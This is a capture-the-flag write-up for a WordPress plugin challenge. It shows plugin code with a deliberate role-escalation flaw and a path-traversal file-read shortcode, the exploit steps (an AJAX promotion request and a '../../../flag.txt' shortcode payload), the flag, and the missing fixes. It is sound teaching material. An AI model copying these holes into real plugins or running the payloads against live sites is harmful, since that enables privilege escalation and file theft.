Patchstack WCEU CTF β Open Contributions
- Challenge Setup
- Bug #1 β Subscriber β Contributor
- Bug #2 β LFI Shortcode
- Exploit Walkthrough
- Conclusion
Challenge Setup
The downloadable archive contains the plugin and a tweaked wp-login.php
, plus the flag at the container root: download
.
βββ flag.txt
βββ open-contributions
β βββ assets/js/plugin-ajax.js
β βββ includes
β βββ class-ajax-handler.php
β βββ class-shortcodes.php
β βββ β¦(other helper files)
βββ wp-login.php
The instance runs the plugin inside stock WordPress; registration is open.
Bug #1 β Subscriber β Contributor
// open-contributions/includes/class-ajax-handler.php
add_action('wp_ajax_promote_to_contributor', [__CLASS__, 'handleRolePromotion']);
public static function handleRolePromotion() {
$user = wp_get_current_user();
if ($user && in_array('subscriber', $user->roles)) {
$user->set_role('contributor'); // β no nonce / capability check
wp_send_json_success('User elevated β¦');
}
wp_send_json_error('Role promotion failed.');
}
Any logged-in subscriber posts
action=promote_to_contributor
β instant contributor.

Figure 0x1 β
Bug #2 β LFI Shortcode
// open-contributions/includes/class-shortcodes.php
add_shortcode('preview_file', [__CLASS__, 'renderPreview']);
public static function renderPreview($atts) {
$atts = shortcode_atts(['path' => ''], $atts);
$filepath = ABSPATH . sanitize_text_field($atts['path']); // ../ survives
if (file_exists($filepath)) {
return '<pre>' . esc_html(file_get_contents($filepath)) . '</pre>';
}
return '<strong>File not found.</strong>';
}
Because sanitize_text_field()
leaves traversal intact,
[preview_file path="../../../flag.txt"]
ultimately includes /flag.txt
.

Figure 0x2 β
Exploit Walkthrough
-
Register a new account (role: subscriber).
-
Promote yourself via
POST /wp-admin/admin-ajax.php?action=promote_to_contributor
β cookies only. -
As a contributor, open the post editor, drop the shortcode
[preview_file path="../../../flag.txt"]
into a draft, hit Preview.
WordPress renders the draft, executes the shortcode, and the flag appears inside the preview.

Figure 0x3 β
CTF{CONTRIBUTOR_TO_THE_BACKDOOR_0z933}
Conclusion
Two missing lines β one check_ajax_referer()
and one realpath()
/whitelist check β turn an optimistic βanyone can contributeβ idea into a full file-read primitive. From zero knowledge to /flag.txt
in under a minute.